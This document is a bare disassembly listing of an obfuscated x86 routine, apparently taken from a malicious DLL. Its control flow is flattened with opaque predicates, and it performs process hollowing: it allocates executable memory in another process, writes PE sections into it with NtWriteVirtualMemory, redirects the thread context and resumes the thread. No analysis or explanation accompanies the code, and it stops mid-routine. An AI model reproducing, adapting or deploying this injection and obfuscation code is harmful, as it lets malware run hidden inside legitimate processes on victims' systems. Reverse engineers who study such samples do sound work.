mov edx, ecx
sub edx, 0x9a3e1265
sub edx, 1
add edx, 0x9a3e1265
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xde4b0fc
mov ecx, 0x403d387b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x10]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov ecx, dword [0x1006e088]
mov eax, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe62e9ef
mov ecx, 0x7d50b6f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ab709c5
mov ecx, 0x9df37571
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0xc310b8b3
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0xdd436dfe
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
add edx, 0xadad8662
sub edx, 1
sub edx, 0xadad8662
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf017a3f8
mov ecx, 0xee79d8ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov dword [ebp - 0x170], 0xfa886ac9
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0x58d894c6
jmp 0x1000e9ac
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov dword [ebp - 0x170], 0x8ffbd9fe
jmp 0x1000e9ac
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18025ac0
mov ecx, 0x9108f519
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x104]
mov eax, dword [0x1006e088]
mov ecx, dword [0x1006e084]
mov edx, eax
sub edx, 0xddc7236e
sub edx, 1
add edx, 0xddc7236e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x18025ac0
mov ecx, 0xe80002b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x170], eax
jmp 0x1000e9ac
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x170], 0x27f3f8f9
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0xd301c5e1
jmp 0x1000e9ac
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x170], 0x460e78a4
jmp 0x1000e9ac
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x170], 0x29dec987
jmp 0x1000e9ac
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10005e50
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x170], 0x7d000da6
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0x96bc2c0
jmp 0x1000e9ac
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x170], 0x96f1646f
jmp 0x1000e9ac
mov eax, dword [ebp - 0x130]
mov dword [eax], 0
mov dword [ebp - 0x170], 0xbea26094
jmp 0x1000e9ac
mov dword [ebp - 0x170], 0xa5c4afe6
jmp 0x1000e9ac
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x164]
mov edx, dword [ebp - 0x138]
mov edx, dword [edx]
mov esi, dword [ebp - 0x128]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov edx, dword [ebp - 0x148]
mov edx, dword [edx]
mov esi, dword [ebp - 0x138]
mov esi, dword [esi]
mov edi, dword [ebp - 0x128]
imul edi, dword [edi], 0x28
add esi, edi
mov esi, dword [esi + 0xc]
add edx, 0x2fb99b44
add edx, esi
sub edx, 0x2fb99b44
mov esi, dword [ebp - 0x15c]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x170], 0xfc06fbb1
jmp 0x1000e9ac
jmp 0x10007000